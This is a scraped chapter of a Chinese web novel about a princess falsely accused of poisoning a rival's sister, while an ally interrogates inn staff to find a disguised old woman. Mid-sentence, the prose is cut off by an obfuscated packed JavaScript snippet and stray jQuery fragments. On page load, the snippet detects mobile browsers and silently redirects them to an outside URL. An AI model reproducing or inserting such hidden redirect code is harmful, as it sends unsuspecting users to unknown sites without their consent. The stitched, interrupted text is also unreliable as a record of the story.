12. 第 12 章

作品:《摄政公主(女强)

    燕笙缓缓道:“陈羽华,你什么意思?你觉得本宫会这样费尽心思来折磨你和你的情人?”


    她没有看韦蝉衣,后者如何看她她并不在乎,她为她做这些,说到底只是为了履行承诺。可是陈羽华,她们曾经相处三百多个日日夜夜!也曾花前月下,诵诗饮酒,即便没有爱侣之间的真情,总该知道对方是什么样的品性,会做什么事。


    在他心里,她就是这样的小人?


    陈羽华道:“笙儿,不是我如何看你,事实就在眼前,你让我该如何想?”


    他的眼神和姿态,好像燕笙才是那个不讲理的人。是她在逼他包庇自己。


    燕笙深吸一口气,才让自己不破口大骂出来。


    他们二人欺骗她在先,她亲力亲为做了这么多,到头来竟成了罪魁祸首?


    韦小莹这时还有几分神智,气若游丝道:“别怪公主,小莹的福气已经够了……”


    说完,便彻底脱力晕厥过去。


    “小莹!”韦蝉衣发出一声凄厉的叫喊,恨不得随妹妹而去。


    这声音痛彻心扉,叫人不忍听下去。


    所有人都笼罩在她的悲伤之中,丰凌瑾却拿着一张麻纸走了过来。


    他方才没有理会陈羽华和韦蝉衣的吵闹,在屋内四处搜寻,最终在梳妆台的小抽屉里发现了一包麻纸,低头嗅了嗅。


    他道:“这应该就是她用的毒药。”


    里面还有没用完的粉末。


    方才燕生请御医的时候就想到了他,不好如此劳烦他。没想到他帮了他如此大忙。


    此刻不好道谢,燕笙便只对他点了点头。


    丰凌瑾微微避开眼,没有接受。


    看守韦小莹的是舅父司马游的家随,燕笙把他们叫过来:“韦小娘子到上京后,谁来见过她?”


    两个侍卫都说没人来过。


    燕笙叫了一个丫头:“你去将掌事的唤来。”


    她不相信没有人来找过韦小莹,掌事的没看到,总会有其他人有看见过,房间里太逼仄,她想亲自去看看。


    韦蝉衣却忽然扑过来,抱住她的腿:“公主殿下,求你大发慈悲,救救小莹罢,妾身求求你了。妾身愿为奴为婢伺候殿下!”


    “你刚才没听见?本宫已命人去请太医了。”因为春水不在,韦蝉衣才能够近她的身,燕笙瞬间动弹不得。


    忽地,一种猜想击中了她:“你是觉得本宫在做戏,现在是借故脱身?”


    好,好的很。


    不愧是上辈子的夫妻,一个觉得她专门演一大出戏就是为了毒害韦小莹,一个觉得她是假装请医士,让韦小莹活活死在她面前。


    究竟是她燕笙看起来有那么恶毒,还是他们以己之心度他人之腹?


    燕笙道:“陈羽华,还不把你的妾侍拨开?!否则本公主就要治她冒犯之罪了!”


    “我……”韦蝉衣的样子实在难看,一般官宦人家的女儿做不出这副姿态,陈羽华乱了分寸,不知如何动手。


    腿上的力道乍然一松,丰凌瑾不知何时替她将韦蝉衣拨开了。


    韦蝉衣摔倒在地,继续痛哭不已,望着燕笙的双眼不知是祈求更多,还是痛恨更多。


    失去理智的人是可怕的,她只会相信自己所相信的,越想越笃定。


    连帮燕笙忙的丰凌瑾亦被她认定为帮凶。


    燕笙道:“韦蝉衣,本宫向你保证,本宫绝没有要害你妹妹的意思。本宫的任何命令,都要身边的人去实行,你可以问本宫的这些侍女,她们没有做过任何相关的事。”


    秋实和冬狸一开始就替她收拾东西去了,夏露替换丰凌瑾也留在了那,春水去请御医了。


    剩下的几个都是二等宫女,她们齐声说:“奴婢们没有来见过小莹娘子。”


    看韦蝉衣的神色,丝毫不相信。


    燕笙一时竟觉得茫然,她好像被无形的网困住了,怎么也出不去。


    想要走出这个门也简单,可她无疑就成了为陈羽华和韦蝉衣眼中的罪人。


    她该怎么做?是怒斥陈宇华,将韦蝉衣捉起来一并教训,还是弃门而去,坐实了这刽子手的名声?


    贵为公主,却陷入如今的地步,难道真是她自作孽,不该伸手相助?


    “公主,“丰凌瑾这时对她道,“你要找什么人,末将替你去找。”


    他似乎将她的情绪都看在了眼里,才对她说这句话。


    燕笙就像找到了一根救命稻草:“本宫需要所有可能知道韦小莹见过谁的人,多谢你了,丰世子!”


    陈羽华却又一次拦在了丰凌瑾面前:“你要去哪?”


    丰凌瑾提着剑对着门,并不看他:“你刚才没听见吗?”


    陈羽华回头,对燕笙道:“公主,你叫他做什么?”


    听他的口气,像是怪燕笙找了一个无关紧要的人。


    可笑。


    他不是怀疑是她害的韦小莹吗?


    如果不是他帮着韦蝉衣,她又何必请丰凌瑾帮忙!


    燕笙寒声道:“如果你拦着丰世子,那你就是杀人凶手。”


    “笙儿!”陈羽华叫道。


    他想说什么,看了一眼韦蝉衣,最终没有说出口。


    “别再叫我。”燕笙充满厌恶道,“你这样叫我,让本宫恶心。”


    “请吧,陈郎中。”丰凌瑾听了燕笙的话,再不对他客气,之前在陈府,他是拎起剑,用剑鞘的尖部让他无法靠近,现在,他上前一步,靠近陈羽华,手握着剑中部,使了一下巧劲,用剑鞘和剑柄交界处顶了一下他。


    丰凌瑾的力气何等大,陈羽华一痛,先是自己失神地退后一步,随后又不受控制地倒退好几步,发现腹部依旧疼痛,对丰凌瑾道:“你!”


    丰凌瑾看也不看他,径直出去了。


    不一会,丰凌瑾提了几个人进来,对燕笙道:“公主,除了一直在厨房做饭的庖丁,从昨日韦小娘子入住到我们前来的这段时间里,在前厅活动的可能见过韦小娘子的伙计都带来了。先前我曾在军营里审过俘虏,不妨我来审他们。”


    先前丰凌瑾对燕笙称的是末将,现在他称“我”,燕笙知道他将她当做了朋友,现在是帮她的忙。


    “好。”她对讯问之事不熟悉,丰凌瑾的请缨正是及时雨,对他道,“多谢你了。”


    丰凌瑾首先问掌事:“从昨天到现在,客舍开张的时间里你是否一直在前台,店簿由你掌管,不曾交由他人?”


    掌事想了一会,道:“正是。”


    他接着问:“可有人前来拜访过韦小娘子?”


    “未曾。”掌事是个踏实的,他拿出随身携带的店簿翻开,“簿上也没有记载。”


    这倒是和看守韦小莹的两个人的话对上了。


    可是这怎么会呢?


    如果不是别人,那给韦小莹毒药的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980889|193578||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就只有她了。


    燕笙百思不得其解。


    丰凌瑾却不着急,大量了一会儿掌事的神色,才移到了下一个人,一直在招呼客人的店小二,他道:“韦小娘子住的这房间在你们客栈属于上乘吧?”


    “是,上官。”小二的口齿伶俐,张口就道,“本店共有上房十二间,当中又有六间风景格外好些,属上上房。这间房对着旁边佛寺的梅林,故而又称‘梅影’。”


    丰凌瑾追问:“那可有人向你打听过梅影?”


    店小二一愣。


    “有没有打着之前住过‘梅影’的名头,还想再住,向你打听韦小娘子情况的人?”


    丰凌瑾对来的这些伙计统一道:“不必是正面和韦小娘子说过话的人,只要是格外注意她,变着法子打听她的,都算。”


    伙计们都陷入思索中。


    掌事思量道:“这样说来,倒真是有个人向草民打听过。”


    “向你打听什么?”丰凌瑾赶在燕笙之前脱口而出。


    “……有一个老妇人,在韦小娘子入店后就要来住房,草民向她介绍了半天,她却一直盯着韦小娘子。草民当时还以为她是不知哪来的牙人,便把她赶走了。她也没说什么。”掌事尽力回忆了一番,“除了她,没有人再打听过韦小娘子。”


    “一个老妇人?她如果是有意打听韦小莹,却不出口询问,说明她早就知道韦小莹的存在……”燕笙皱眉,“韦蝉衣,你是否将你父亲平反的消息告诉了别人?”


    “什么?”韦蝉衣愕然,“妾、妾身事先并不知道小莹会回来呀。”


    “你不知道韦小莹还活着,别人却不一定。或许有你之前的故人,不愿意看到她回来。”丰凌瑾道。


    韦蝉衣僵住了,她与陈羽华对视,陈羽华也像是知道什么内情。二人却什么都不说,韦蝉衣回过头,看着地板,显而易见地慌乱起来。


    燕笙沉声道:“韦蝉衣,你可是有什么猜测?”


    “不!”韦蝉衣立刻道,这个字一出口像是她急于否认似的,她心慌意乱道,“妾身不知道!”


    这时,负责保护韦小莹的那两个侍卫本来拉出了房门待罪,又被丰凌瑾叫了回来:“你们和掌事的对一对,可曾见过那个老妇人模样的人在韦小莹房门外徘徊?”


    掌事和他们描绘了那老妇人的长相,其中一个侍卫道:“她说她是后厨的帮工,穿的也像给韦小娘子送饭菜的!故而我们二人没将她放在心上。”


    丰凌瑾立刻把后厨的人叫来问:“是否有个老妇人到后厨来过?”


    答案是肯定的。


    那个老妇人穿的是后厨王婆子的衣裳,王婆子嘴角有颗痦子,那个老妇人没有,皮肤也光滑许多,故而让人留下印象。


    不到半个时辰,丰凌瑾就将来龙去脉理清楚了,找到了最有嫌疑的人——那个老妇人。


    燕笙回过头来再问:“韦蝉衣,你可想清楚了。如果你知道这个人是谁,有可能可以救你妹妹一命。你妹妹不知道服的什么毒,御医不一定能把她救回来。”


    韦蝉衣的心虚已经遮也遮不住了,自顾自道:“不,妾身不知道……怎么可能呢,不是的不是的,不会的!”


    剧烈的矛盾折磨着她,让她始终说不出那个字。


    丰凌瑾又加上一句:“倘若最后查明下毒的不是公主,还要治你的污蔑之罪。”


    韦蝉衣瞪大了双眼。